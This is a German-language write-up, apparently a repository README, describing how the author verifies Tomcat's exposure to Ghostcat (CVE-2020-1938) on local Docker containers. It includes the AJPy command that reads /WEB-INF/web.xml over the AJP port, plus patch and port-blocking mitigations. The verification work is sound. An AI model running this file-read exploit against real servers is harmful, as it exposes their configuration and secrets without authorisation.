
Erkenntnisse zur Überprüfung der Anfälligkeit für Ghostcat (auch bekannt als CVE-2020-1938)
Ein neuer Exploit namens Ghostcat wurde entdeckt CVE-2020-1938. Siehe die Artikel auf snyk und tenable für Details und Analyse des Exploits selbst.
In meinem Fall wollte ich überprüfen, welche Tomcat-Server angreifbar sind und wie sich das äußert. Daher dient dieses Experiment dazu, Tomcat 7, 8 und 9 zu überprüfen.
TODO: Wie überprüft man, ob ein Tomcat 7 anfällig ist?
Anstatt Exploits auf Live-Servern zu testen, verwende ich vorhandene Tomcat-Builds, um mein Experiment mit AJPy durchzuführen, das AJP-Anfragen erstellt, um mit AJP-Connectorn zu kommunizieren.
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
Wenn die web.xml zurückgegeben wird, ist diese Version von Tomcat anfällig für den Exploit.
Wenn wir denselben Test mit der neuesten Version von Tomcat 8.5 versuchen, sehen wir, dass sie für diesen speziellen Fehler nicht anfällig ist.
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
In diesem Fall sollten wir einen Python-Fehler erhalten, was tatsächlich bedeutet, dass der Server nicht anfällig ist.
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
TODO: Wie überprüft man, ob ein Tomcat 9 anfällig ist?
TODO: Wie überprüft man, ob ein Springboot-Dienst anfällig ist?
Offensichtlich sollten Sie in Betracht ziehen, auf die gepatchten Versionen zu aktualisieren, falls anfällig (unabhängig von der Version). Eine weitere Möglichkeit ist, den Zugriff auf den AJP-Port zu blockieren.
Starten Sie dieselbe Tomcat-Version, aber setzen Sie den AJP-Port 8009 nicht frei.
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
In diesem Fall sehen wir, dass die Ausnutzung des Servers fehlschlägt.
Ich bin kein Sicherheitsexperte, und dieses Repository wurde zu meinen Lernzwecken erstellt. Es ist nicht für böswillige Zwecke gedacht.